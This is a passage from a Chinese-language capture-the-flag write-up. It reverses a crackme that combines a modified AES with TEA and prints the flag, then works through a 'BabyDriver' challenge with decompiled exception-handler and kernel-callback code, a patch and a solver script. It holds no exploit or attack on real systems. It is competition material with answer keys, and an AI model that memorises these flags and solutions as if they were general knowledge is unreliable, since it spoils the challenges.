ciphertext[i] = S[ciphertext[i]];
shift_rows(ciphertext);
for ( i = 0; i <= 0xFu; ++i )
{
v5 = roundkeys++;
ciphertext[i] ^= *v5;
}
}
void __cdecl enc_next_ready(uint8_t *key, uint8_t *roundkeys)
{
uint8_t *v2; // rdx
uint8_t *v3; // rax
char *v4; // rax
char v5; // r8
char v6; // cl
uint8_t *v7; // rax
uint8_t temp_1; // [rsp+5h] [rbp-1Bh]
uint8_t temp_2; // [rsp+6h] [rbp-1Ah]
uint8_t temp_3; // [rsp+7h] [rbp-19h]
uint8_t i; // [rsp+17h] [rbp-9h]
uint8_t ia; // [rsp+17h] [rbp-9h]
uint8_t *last4bytes; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15u; ++i )
{
v2 = key++;
v3 = roundkeys++;
*v3 = *v2;
}
last4bytes = roundkeys - 4;
for ( ia = 0; ia <= 9u; ++ia )
{
temp_3 = S[*last4bytes];
temp_1 = S[last4bytes[2]];
temp_2 = S[last4bytes[3]];
*roundkeys = *(roundkeys - 16) ^ S[last4bytes[1]] ^ RC[ia];
roundkeys[1] = *(roundkeys - 15) ^ temp_1;
roundkeys[2] = *(roundkeys - 14) ^ temp_2;
roundkeys[3] = *(roundkeys - 13) ^ temp_3;
roundkeys[4] = *(roundkeys - 12) ^ last4bytes[4];
roundkeys[5] = *(roundkeys - 11) ^ last4bytes[5];
roundkeys[6] = *(roundkeys - 10) ^ last4bytes[6];
roundkeys[7] = *(roundkeys - 9) ^ last4bytes[7];
roundkeys[8] = *(roundkeys - 8) ^ last4bytes[8];
roundkeys[9] = *(roundkeys - 7) ^ last4bytes[9];
roundkeys[10] = *(roundkeys - 6) ^ last4bytes[10];
roundkeys[11] = *(roundkeys - 5) ^ last4bytes[11];
roundkeys[12] = *(roundkeys - 4) ^ last4bytes[12];
roundkeys[13] = *(roundkeys - 3) ^ last4bytes[13];
roundkeys[14] = *(roundkeys - 2) ^ last4bytes[14];
v4 = (char *)(last4bytes + 15);
last4bytes += 16;
v5 = *v4;
v6 = *(roundkeys - 1);
v7 = roundkeys + 15;
roundkeys += 16;
*v7 = v6 ^ v5;
}
}
看得出来是 TEA 加密后异或 delta 再 AES 加密，调试了下发现后面的 AES 与标准 AES 不太一样，也只好手动写逆了。
逆向程序：
// clear && gcc -g ./main.c && ./a.out
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned char uint8_t;
unsigned char S[256] = { 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22 };
unsigned char INV_S[256] = {82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125};
unsigned char RC[10] = {1, 2, 4, 8, 16, 32, 64, 128, 27, 54};
void shift_rows(uint8_t *state) {
uint8_t temp; // [rsp+Fh] [rbp-1h]
uint8_t tempa; // [rsp+Fh] [rbp-1h]
uint8_t tempb; // [rsp+Fh] [rbp-1h]
uint8_t tempc; // [rsp+Fh] [rbp-1h]
temp = state[1];
state[1] = state[5];
state[5] = state[9];
state[9] = state[13];
state[13] = temp;
tempa = state[2];
state[2] = state[10];
state[10] = tempa;
tempb = state[6];
state[6] = state[14];
state[14] = tempb;
tempc = state[15];
state[15] = state[11];
state[11] = state[7];
state[7] = state[3];
state[3] = tempc;
}
void inv_shift_rows(uint8_t *state) {
uint8_t temp; // [rsp+Fh] [rbp-1h]
uint8_t tempa; // [rsp+Fh] [rbp-1h]
uint8_t tempb; // [rsp+Fh] [rbp-1h]
uint8_t tempc; // [rsp+Fh] [rbp-1h]
temp = state[13];
state[13] = state[9];
state[9] = state[5];
state[5] = state[1];
state[1] = temp;
tempa = state[14];
state[14] = state[6];
state[6] = tempa;
tempb = state[10];
state[10] = state[2];
state[2] = tempb;
tempc = state[3];
state[3] = state[7];
state[7] = state[11];
state[11] = state[15];
state[15] = tempc;
}
uint8_t mul2(uint8_t a) {
uint8_t result; // al
if ( (a & 0x80u) == 0 )
result = 2 * a;
else
result = (2 * a) ^ 0x1B;
return result;
}
uint8_t muln(uint8_t a, uint8_t n) {
uint8_t result = 0;
while (n) {
if (n & 1) result ^= a;
if (a & 0x80) a = (a << 1) ^ 0x1B;
else a <<= 1;
n >>= 1;
}
return result;
}
void enc_next_ready(uint8_t *key, uint8_t *roundkeys) {
uint8_t *v2; // rdx
uint8_t *v3; // rax
char *v4; // rax
char v5; // r8
char v6; // cl
uint8_t *v7; // rax
uint8_t temp_1; // [rsp+5h] [rbp-1Bh]
uint8_t temp_2; // [rsp+6h] [rbp-1Ah]
uint8_t temp_3; // [rsp+7h] [rbp-19h]
uint8_t i; // [rsp+17h] [rbp-9h]
uint8_t ia; // [rsp+17h] [rbp-9h]
uint8_t *last4bytes; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15u; ++i ) {
v2 = key++;
v3 = roundkeys++;
*v3 = *v2;
}
last4bytes = roundkeys - 4;
for ( ia = 0; ia <= 9u; ++ia ) {
temp_3 = S[*last4bytes];
temp_1 = S[last4bytes[2]];
temp_2 = S[last4bytes[3]];
*roundkeys = *(roundkeys - 16) ^ S[last4bytes[1]] ^ RC[ia];
roundkeys[1] = *(roundkeys - 15) ^ temp_1;
roundkeys[2] = *(roundkeys - 14) ^ temp_2;
roundkeys[3] = *(roundkeys - 13) ^ temp_3;
roundkeys[4] = *(roundkeys - 12) ^ last4bytes[4];
roundkeys[5] = *(roundkeys - 11) ^ last4bytes[5];
roundkeys[6] = *(roundkeys - 10) ^ last4bytes[6];
roundkeys[7] = *(roundkeys - 9) ^ last4bytes[7];
roundkeys[8] = *(roundkeys - 8) ^ last4bytes[8];
roundkeys[9] = *(roundkeys - 7) ^ last4bytes[9];
roundkeys[10] = *(roundkeys - 6) ^ last4bytes[10];
roundkeys[11] = *(roundkeys - 5) ^ last4bytes[11];
roundkeys[12] = *(roundkeys - 4) ^ last4bytes[12];
roundkeys[13] = *(roundkeys - 3) ^ last4bytes[13];
roundkeys[14] = *(roundkeys - 2) ^ last4bytes[14];
v4 = (char *)(last4bytes + 15);
last4bytes += 16;
v5 = *v4;
v6 = *(roundkeys - 1);
v7 = roundkeys + 15;
roundkeys += 16;
*v7 = v6 ^ v5;
}
}
void dec_next_ready(uint8_t *key, uint8_t *roundkeys) {
enc_next_ready(key, roundkeys);
}
void enc_next(uint8_t *roundkeys, uint8_t *plaintext, uint8_t *ciphertext) {
double *v3; // rbx
double *v4; // rax
uint8_t *v5; // rax
uint8_t *v6; // rax
void *v7; // rax
uint8_t *v8; // rax
uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF
char v11; // [rsp+5Eh] [rbp-22h] BYREF
uint8_t t; // [rsp+5Fh] [rbp-21h]
double temp_1; // [rsp+60h] [rbp-20h]
int temp_0; // [rsp+6Ch] [rbp-14h]
char temp; // [rsp+73h] [rbp-Dh]
int a; // [rsp+74h] [rbp-Ch]
int cnt; // [rsp+78h] [rbp-8h]
uint8_t j; // [rsp+7Eh] [rbp-2h]
uint8_t i; // [rsp+7Fh] [rbp-1h]
for ( i = 0; i <= 15u; ++i ) {
v6 = roundkeys++;
ciphertext[i] = *v6 ^ plaintext[i] ^ 0x66;
}
for ( j = 1; j <= 9; j++ ) {
for ( i = 0; i <= 15u; ++i )
tmp[i] = INV_S[ciphertext[i]];
inv_shift_rows(tmp);
for ( i = 0; i <= 15; i += 4 ) {
t = tmp[i + 2] ^ tmp[i + 1] ^ tmp[i] ^ tmp[i + 3];
ciphertext[i] = t ^ tmp[i] ^ mul2(tmp[i] ^ tmp[i + 1]);
ciphertext[i + 1] = t ^ tmp[i + 1] ^ mul2(tmp[i + 1] ^ tmp[i + 2]);
ciphertext[i + 2] = t ^ tmp[i + 2] ^ mul2(tmp[i + 2] ^ tmp[i + 3]);
ciphertext[i + 3] = t ^ tmp[i + 3] ^ mul2(tmp[i + 3] ^ tmp[i]);
}
for ( i = 0; i <= 15u; ++i ) {
v8 = roundkeys++;
ciphertext[i] ^= *v8;
}
}
for ( i = 0; i <= 15u; ++i )
ciphertext[i] = S[ciphertext[i]];
shift_rows(ciphertext);
for ( i = 0; i <= 0xFu; ++i ) {
v5 = roundkeys++;
ciphertext[i] ^= *v5;
}
}
void dec_next(uint8_t *roundkeys, uint8_t *ciphertext, uint8_t *plaintext) {
double *v3; // rbx
double *v4; // rax
uint8_t *v5; // rax
uint8_t *v6; // rax
void *v7; // rax
uint8_t *v8; // rax
uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF
char v11; // [rsp+5Eh] [rbp-22h] BYREF
uint8_t t; // [rsp+5Fh] [rbp-21h]
double temp_1; // [rsp+60h] [rbp-20h]
int temp_0; // [rsp+6Ch] [rbp-14h]
char temp; // [rsp+73h] [rbp-Dh]
int a; // [rsp+74h] [rbp-Ch]
int cnt; // [rsp+78h] [rbp-8h]
int j; // [rsp+7Eh] [rbp-2h]
int i; // [rsp+7Fh] [rbp-1h]
roundkeys += 176 - 1;
for ( i = 15; i >= 0; i-- ) {
v5 = roundkeys--;
ciphertext[i] ^= *v5;
}
inv_shift_rows(ciphertext);
for ( i = 15; i >= 0; i-- )
ciphertext[i] = INV_S[ciphertext[i]];
for ( j = 1; j <= 9; j++ ) {
for ( i = 15; i >= 0; i-- ) {
v8 = roundkeys--;
ciphertext[i] ^= *v8;
}
for ( i = 0; i <= 15; i += 4 ) {
tmp[i] = muln(ciphertext[i], 0xE) ^ muln(ciphertext[i + 1], 0xB) ^ muln(ciphertext[i + 2], 0xD) ^ muln(ciphertext[i + 3], 0x9);
tmp[i + 1] = muln(ciphertext[i], 0x9) ^ muln(ciphertext[i + 1], 0xE) ^ muln(ciphertext[i + 2], 0xB) ^ muln(ciphertext[i + 3], 0xD);
tmp[i + 2] = muln(ciphertext[i], 0xD) ^ muln(ciphertext[i + 1], 0x9) ^ muln(ciphertext[i + 2], 0xE) ^ muln(ciphertext[i + 3], 0xB);
tmp[i + 3] = muln(ciphertext[i], 0xB) ^ muln(ciphertext[i + 1], 0xD) ^ muln(ciphertext[i + 2], 0x9) ^ muln(ciphertext[i + 3], 0xE);
}
shift_rows(tmp);
for ( i = 15; i >= 0; i-- )
ciphertext[i] = S[tmp[i]];
}
for ( i = 15; i >= 0; i-- ) {
v6 = roundkeys--;
plaintext[i] = *v6 ^ ciphertext[i] ^ 0x66;
}
}
void aes_encrypt(char* data, char* key) {
uint8_t roundkeys[256];
char src[16];
memcpy(src, data, 16);
enc_next_ready(key, roundkeys);
enc_next(roundkeys, src, data);
}
void aes_decrypt(char* data, char* key) {
// todo: implement this method
uint8_t roundkeys[256];
char src[16];
memcpy(src, data, 16);
dec_next_ready(key, roundkeys);
dec_next(roundkeys, src, data);
}
int main() {
unsigned int delta = 0x73637466;
// char data[33] = "0123456789abcdef";
// cmp_arr
char data[] = {
0xBE, 0x1C, 0xB3, 0xF3, 0xA1, 0xF4, 0xE4, 0x63,
0x11, 0xE1, 0x1C, 0x6B, 0x54, 0x0A, 0xDF, 0x74,
0xF2, 0x93, 0x55, 0xDA, 0x48, 0xFC, 0xA2, 0x3C,
0x89, 0x63, 0x2E, 0x7F, 0x8D, 0xA4, 0x6D, 0x4E,
0
};
unsigned int* data_ptr = (unsigned int*) data;
unsigned int v0, v1, v2, v3;
char key[17] = "Welcome_to_sctf!";
unsigned int* tea_key_ptr = (unsigned int*) key;
unsigned int k0 = tea_key_ptr[0], k1 = tea_key_ptr[1], k2 = tea_key_ptr[2], k3 = tea_key_ptr[3];
unsigned int sum1 = 0, sum2 = 0;
/*
char test_data[17] = "aaaaaaaaaaaaaaaa";
aes_encrypt(test_data, key);
for (int i = 0; i < 16; i++) {
printf("0x%02x ", test_data[i] & 0xff);
}
// 0x33 0x18 0x46 0x7d 0x4a 0x1b 0x41 0xe5 0xc7 0x6e 0xf6 0x7a 0xd4 0x8a 0x6b 0x8c
putchar('\n');
/**/
/*
// tea
for (int i = 0; i < 32; i++) {
sum1 += delta;
sum2 += delta;
v0 += ((v1 << 4) + k2) ^ (v1 + sum1) ^ ((v1 >> 5) + k3) ^ (sum1 + i);
v2 += ((v3 << 4) + k2) ^ (v3 + sum2) ^ ((v3 >> 5) + k3) ^ (sum2 + i);
v1 += ((v0 << 4) + k0) ^ (v0 + sum1) ^ ((v0 >> 5) + k1) ^ (sum1 + i);
v3 += ((v2 << 4) + k0) ^ (v2 + sum1) ^ ((v2 >> 5) + k1) ^ (sum2 + i);
}
data_ptr[0] = v0 ^ ((delta >> 24) & 0xff);
data_ptr[1] = v1 ^ ((delta >> 16) & 0xff);
data_ptr[2] = v2 ^ ((delta >> 8) & 0xff);
data_ptr[3] = v3 ^ (delta & 0xff);
/**/
for (int loop = 0; loop < 2; loop++) {
aes_decrypt((char*) data_ptr, key);
data_ptr[3] ^= (delta & 0xff);
data_ptr[2] ^= ((delta >> 8) & 0xff);
data_ptr[1] ^= ((delta >> 16) & 0xff);
data_ptr[0] ^= ((delta >> 24) & 0xff);
v0 = data_ptr[0];
v1 = data_ptr[1];
v2 = data_ptr[2];
v3 = data_ptr[3];
for (int i = 0; i < 32; i++) {
sum1 += delta;
sum2 += delta;
}
for (int i = 31; i >= 0; i--) {
v3 -= ((v2 << 4) + k0) ^ (v2 + sum1) ^ ((v2 >> 5) + k1) ^ (sum2 + i);
v1 -= ((v0 << 4) + k0) ^ (v0 + sum1) ^ ((v0 >> 5) + k1) ^ (sum1 + i);
v2 -= ((v3 << 4) + k2) ^ (v3 + sum2) ^ ((v3 >> 5) + k3) ^ (sum2 + i);
v0 -= ((v1 << 4) + k2) ^ (v1 + sum1) ^ ((v1 >> 5) + k3) ^ (sum1 + i);
sum2 -= delta;
sum1 -= delta;
}
data_ptr[0] = v0;
data_ptr[1] = v1;
data_ptr[2] = v2;
data_ptr[3] = v3;
data_ptr += 4;
}
puts(data);
/**/
return 0;
}
flag: SCTF{5277cc2af8f1155f7a61030f46fdf9df}
### BabyDriver
babydriver.exe 拖入 ida ， initialize_pointers 中注册了异常处理函数 sub_140071500
，进入函数，有个参数，直接改类型为 PEXCEPTION_POINTERS ，逻辑一下就出来了：
int __fastcall sub_140071500(PEXCEPTION_POINTERS e)
{
int result; // eax
if ( e->ExceptionRecord->ExceptionCode == (unsigned int)EXCEPTION_ACCESS_VIOLATION )
{
e->ContextRecord->Rip = *(_QWORD *)e->ContextRecord->Rsp + 7i64;
e->ContextRecord->Rsp += 8i64;
result = EXCEPTION_CONTINUE_EXECUTION;
}
else if ( e->ExceptionRecord->ExceptionCode == (unsigned int)EXCEPTION_INT_DIVIDE_BY_ZERO )
{
funcs[e->ContextRecord->Rax]();
e->ContextRecord->Rip += 8i64;
result = EXCEPTION_CONTINUE_EXECUTION;
}
else
{
result = EXCEPTION_CONTINUE_SEARCH;
}
return result;
}
这里先放着，待会要用的。
再回到 main ，直接一个 `MEMORY[0]()`，看汇编：
.text:0000000140071318 xor eax, eax
.text:000000014007131A call rax
.text:000000014007131C xor eax, eax
.text:000000014007131E jmp loc_1400714DA
这 call 明显会触发 EXCEPTION_ACCESS_VIOLATION ，被上面的函数处理，`*(_QWORD
*)e->ContextRecord->Rsp`就是返回地址 0x14007131C ，再 + 7 就是 0x140071323 ，之后 rsp += 8
将返回地址弹出栈，所以什么都没做，直接将 call 指令 patch 为 jmp loc_14007131C:
.text:0000000140071318 xor eax, eax
.text:000000014007131A jmp short loc_140071323 ; Keypatch modified this from:
.text:000000014007131A ; call rax
.text:000000014007131C ; --------------------------------------------------------------------------- .text:000000014007131C xor eax, eax
.text:000000014007131E jmp loc_1400714DA
.text:0000000140071323 ; ---------------------------------------------------------------------------
再 F5 ， main 就恢复了：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
__int64 input_len; // [rsp+48h] [rbp-60h]
HANDLE hFile; // [rsp+50h] [rbp-58h]
DWORD NumberOfBytesRead; // [rsp+60h] [rbp-48h] BYREF
char enc[16]; // [rsp+68h] [rbp-40h] BYREF
char input[21]; // [rsp+78h] [rbp-30h] BYREF
input[0] = 0;
memset(&input[1], 0, 20ui64);
enc[0] = 0;
memset(&enc[1], 0, 15ui64);
initialize_pointers();
if ( query(0, 0i64, 0) )
{
hFile = CreateFileA("key.bin", GENERIC_READ, FILE_SHARE_READ, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
if ( hFile == (HANDLE)-1i64 )
{
printf("Can't not find the key file\n");
result = 0;
}
else
{
NumberOfBytesRead = 0;
if ( ReadFile(hFile, Buffer, 0x258u, &NumberOfBytesRead, 0i64) )
{
printf("Please input the flag:");
scanf("%s", input);
input_len = -1i64;
do
++input_len;
while ( input[input_len] );
if ( test_charset(input, input_len)
&& run_function(input, input_len, enc)
&& (query(2, (__int64)enc, 16u), Sleep(500u), query(1, (__int64)enc, 16u), enc[0]) )
{
printf("Success!!!\n");
result = 0;
}
else
{
printf("You fail.\n");
result = 0;
}
}
else
{
printf("Can't not read the key file\n");
result = 0;
}
}
}
else
{
printf("Driver not running");
result = 0;
}
return result;
}
query 函数很奇怪：
_BOOL8 __fastcall query(int a1, __int64 a2, unsigned int a3)
{
struct _SYSTEMTIME SystemTime; // [rsp+28h] [rbp-40h] BYREF
__int64 v5[3]; // [rsp+38h] [rbp-30h] BYREF
__int64 v6; // [rsp+50h] [rbp-18h]
v5[0] = a1;
v5[1] = a2;
v5[2] = a3;
v6 = 1i64;
memset(&SystemTime, 0, sizeof(SystemTime));
GetSystemTime(&SystemTime);
*(_QWORD *)qword_14009DED8 = v5;
SetSystemTime(&SystemTime);
return v6 == 0;
}
按理说 return v6 == 0 只会返回 0 ，那么 main 中就会输出 “Driver not running” 并结束，想到题目名叫
BabyDriver ，那就还得分析另一个文件 sctf.sys 。同样拖入 ida ，进入 DriverEntry ，跟入 sub_140001078 ：
__int64 __fastcall sub_140001078(PDRIVER_OBJECT a1)
{
sub_1400010CC(sub_140001000);
a1->DriverUnload = (PDRIVER_UNLOAD)sub_1400010A0;
return 0i64;
}
跟入 sub_1400010CC ：
__int64 __fastcall sub_1400010CC(__int64 (__fastcall *a1)(__int64))
{
UNICODE_STRING v3; // [rsp+20h] [rbp-40h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+30h] [rbp-30h] BYREF
PCALLBACK_OBJECT CallbackObject; // [rsp+78h] [rbp+18h] BYREF
CallbackObject = 0i64;
v3.Buffer = L"\\Callback\\SetSystemTime";
*(_DWORD *)&v3.Length = 0x30002E;
memset(&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = 48;
ObjectAttributes.ObjectName = &v3;
ObjectAttributes.Attributes = 80;
if ( ExCreateCallback(&CallbackObject, &ObjectAttributes, 1u, 1u) < 0 )
return 0xC0000225i64;
CallbackRegistration = ExRegisterCallback(CallbackObject, (PCALLBACK_FUNCTION)CallbackFunction, 0i64);
if ( !CallbackRegistration )
return 0xC0000225i64;
func_140001000 = a1;
return 0i64;
}
原来 Driver 注册了 SetSystemTime 函数的回调函数 CallbackFunction ：
KIRQL __fastcall sub_14000123C(__int64 a1)
{
_BYTE *v1; // rcx
KIRQL result; // al
if ( *(_DWORD *)a1 == 2 )
{
v1 = *(_BYTE **)(a1 + 8);
v1[15] = v1[14];
v1[14] = v1[13];
v1[13] = v1[12];
v1[12] = 0x10;
result = KeGetCurrentIrql();
}
return result;
}
void __fastcall CallbackFunction(PVOID CallbackContext, PVOID Argument1, PVOID Argument2)
{
struct _KPROCESS *v3; // rdi
void *v4; // rax
void *v5; // rbx
PEB *v6; // rax
KIRQL v7; // al
unsigned __int64 v8; // rdi
_BYTE *v9; // rcx
v3 = IoGetCurrentProcess();
v4 = (void *)PsGetProcessWow64Process(v3);
v5 = 0i64;
if ( v4 )
{
v5 = (void *)*((unsigned int *)v4 + 5);
*((_DWORD *)v4 + 5) = 0;
}
else
{
v6 = PsGetProcessPeb(v3);
if ( v6 )
{
v5 = v6->SubSystemData;
v6->SubSystemData = 0i64;
}
}
if ( MmIsAddressValid(v5) )
{
v7 = sub_14000123C((__int64)v5);
v8 = v7;
if ( v7 >= 2u )
__writecr8(0i64);
*((_QWORD *)v5 + 3) = (int)func_140001000(v5);
if ( (unsigned __int8)v8 >= 2u )
{
KeGetCurrentIrql();
__writecr8(v8);
}
if ( *(_DWORD *)v5 == 2 )
{
v9 = (_BYTE *)*((_QWORD *)v5 + 1);
v9[12] = v9[13];
v9[13] = v9[14];
v9[14] = v9[15];
v9[15] = 0;
}
}
}
这里调用了 sub_1400010CC 传入的参数函数 sub_140001000，并将返回值赋值给 `*((_QWORD *)v5 + 3)`。
__int64 __fastcall sub_140001000(void *a1)
{
int v1; // er8
unsigned int *v2; // r9
__int64 i; // rcx
v1 = 0;
if ( *(_DWORD *)a1 )
{
if ( *(_DWORD *)a1 == 1 )
{
**((_BYTE **)a1 + 1) = byte_140003070;
}
else if ( *(_DWORD *)a1 == 2 )
{
v2 = (unsigned int *)*((_QWORD *)a1 + 1);
for ( i = 0i64; i < 32; i += 8i64 )
{
if ( *(_QWORD *)(i + 0x140003008i64) * (unsigned __int64)*v2 % 0x30F21223F13Bi64 != *(_QWORD *)(i + 0x140003028i64) )
break;
++v1;
++v2;
}
byte_140003070 = v1 == 4;
}
}
else
{
byte_140003070 = 0;
}
return 0i64;
}
这里的返回值为 0 ，联想到 main 中的 query 函数，返回 v6 == 0 就为 1 了，所以 CallbackFunction 中的 v5 就是
query 函数中的 v5 ， v5[3] 就刚好是 v6 。
明白了这两者的关系，就先分析 sub_140001000 吧，这个文件里只有这一个函数比较可疑了。
`*(_DWORD *)a1`存放的值表明函数需要做什么，如果为 0 ，执行`byte_140003070 = 0;`，如果为 1
，执行`**((_BYTE **)a1 + 1) = byte_140003070;`，如果为 2 ，执行中间的四轮判断，是`a[i] * x[i] % p
== b[i]`这样的形式， a, b, p 是固定值， x 是传入的`(unsigned int *)*((_QWORD *)a1 + 1)`，就能猜到
main 中将输入操作后得到 4 个 int ，再在这里执行判断。这样就先计算出这 4 个 int 。先在 0x140003008 找到这 8 个数：
.data:0000000140003000 ; const __int64 qword_140003000
.data:0000000140003000 qword_140003000 dq 53816244564283 ; DATA XREF: sub_140001000+2F↑r
.data:0000000140003008 dq 649430213, 895805425, 751586893, 3859015203
.data:0000000140003028 dq 49033969837712, 36224070408864, 1911652611622, 32147829792607
编写简单脚本反解：
#!/usr/bin/python2
from gmpy2 import invert
# a[i] * x[i] % p = b[i]
p = 53816244564283
a = [649430213, 895805425, 751586893, 3859015203]
b = [49033969837712, 36224070408864, 1911652611622, 32147829792607]
x = [0] * 4
for i in range(4):
x[i] = int(invert(a[i], p)) * b[i] % p
# assert(x[i] * a[i] % p == b[i])
print(hex(x[i]))
'''
0xd4933333
0x7bde8f00
0x31d84f77
0xbcd47c10 -> 0xbcd47c
'''
并且注意到 x[3] & 0xff == 0x10，而在 sub_14000123C 中多加了一个 0x10 ，所以实际上的输入 x[3] 只有 24
位，最后的 0x10 是回调函数里补的。也就是说，转成 uchar ， x 只有 15 字节。
再回到 main ， query(0) 后读取文件 key.bin ，但是并没有给这个文件。
之后输入 flag ， test_charset 函数判断输入的字符是否在
‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}’
中，并将该字符换成字符在此串中的下标。
紧接着来到 run_function ，又是`MEMORY[0]()`，不多说，改成 jmp ，再 F5 ：
_BOOL8 __fastcall run_function(char *input, unsigned int a2, char *enc)
{
int i; // [rsp+20h] [rbp-28h]
int j; // [rsp+24h] [rbp-24h]
int v6; // [rsp+28h] [rbp-20h]
for ( i = 0; i < 600; ++i )
{
v6 = (unsigned __int8)Buffer[i];
for ( j = 0; j < 8; ++j )
{
if ( (v6 & 1) != 0 )
{
_input = input;
_enc = enc;
}
v6 >>= 1;
}
}
return point == 0;
}
看起来很奇怪，什么都没做？这里需要看一下汇编：
.text:000000014007186A mov eax, [rsp+48h+j]
.text:000000014007186E mov ecx, [rsp+48h+i]
.text:0000000140071872 lea eax, [rax+rcx*8]
.text:0000000140071875 cdqe
.text:0000000140071877 xor edx, edx
.text:0000000140071879 xor ecx, ecx
.text:000000014007187B div rcx
.text:000000014007187E mov [rsp+48h+var_18], rax
.text:0000000140071883
.text:0000000140071883 loc_140071883: ; CODE XREF: run_function+75↑j
.text:0000000140071883 mov eax, [rsp+48h+var_20]
有一个除零异常，被 ida 忽略掉了，但是这是关键，要用到注册的异常处理函数第二个 if EXCEPTION_INT_DIVIDE_BY_ZERO
，调用函数`funcs[e->ContextRecord->Rax]()`，读汇编计算 rax = i * 8 + j ，所以真实的逻辑应该是：
_BOOL8 __fastcall run_function(char *input, unsigned int a2, char *enc)
{
int i; // [rsp+20h] [rbp-28h]
int j; // [rsp+24h] [rbp-24h]
int v6; // [rsp+28h] [rbp-20h]
for ( i = 0; i < 600; ++i )
{
v6 = (unsigned __int8)Buffer[i];
for ( j = 0; j < 8; ++j )
{
if ( (v6 & 1) != 0 )
{
_input = input;
_enc = enc;
funcs[i * 8 + j]();
}
v6 >>= 1;
}
}
return point == 0;
}
.data 段中查看 funcs ，是个大小为 3600 的函数数组，这不可能一个一个去分析。随便找几个查看，函数都是这样的形式：
_enc[e] |= ((_input[a] >> b) & c) << d;
point -= f;
其中`_enc`和`_input`是全局变量，由上面函数的参数赋值；`point`也是全局变量，初始值为 3100 ； a~f 都是代码中的常值。
这样就写个脚本提取出 a~f 这几个参数，处理过程中发现 a 的取值为 [0, 19] ， b 的取值为 {0, 2, 4} ， c 是固定的 3 ， d
的取值为 {0, 2, 4, 6} ， e 的取值为 [0, 14] ，这样计算一下不重复的组合刚好是 20 _3_ 4 _15 == 3600 ，也就是
funcs 数组的大小；由于 c 是固定的 3 ，也就是每个函数将`_input`中的 2bit 复制到`_enc`的 2bit
上，而`_enc`和`_input`的 2bit 数又是相等的： 20 _ 3 == 60 == 4 * 15 ，这样自然就抽象出一个算法问题：
两个集合 A、B 均有 60 个元素
A 中任一元素到 B 中任一元素均有一给定的映射权值
求 A 到 B 的一一映射，使得映射权值和为给定值（3100）
问了下打算法的同学，这个求解不太乐观，还是得自己想办法。
看了下权值，大部分的都是3位数，而权值平均数 3100 / 60 < 60
，可能是求一个最小值，这样就有思路了，先提取出权值矩阵，找出每行的最小值及下标，然后观察发现权值和为 3044 ，并且只有一个重复的下标值 20
，缺少的下标值为 21 ，再将相关的值输出出来：
>>> values[13][20]
101
>>> values[50][20]
64
>>> values[13][21]
157
>>> values[50][21]
151
`values[13][21]` 与 `values[13][20]` 刚好相差 56 ，也就是 3100 – 3044 ，所以将 13 映射到 21
，这样就找到了解，再反过来求解 flag 。
#!/usr/bin/python2
from gmpy2 import invert
# a[i] * x[i] % p = b[i]
p = 53816244564283
a = [649430213, 895805425, 751586893, 3859015203]
b = [49033969837712, 36224070408864, 1911652611622, 32147829792607]
x = [0] * 4
for i in range(4):
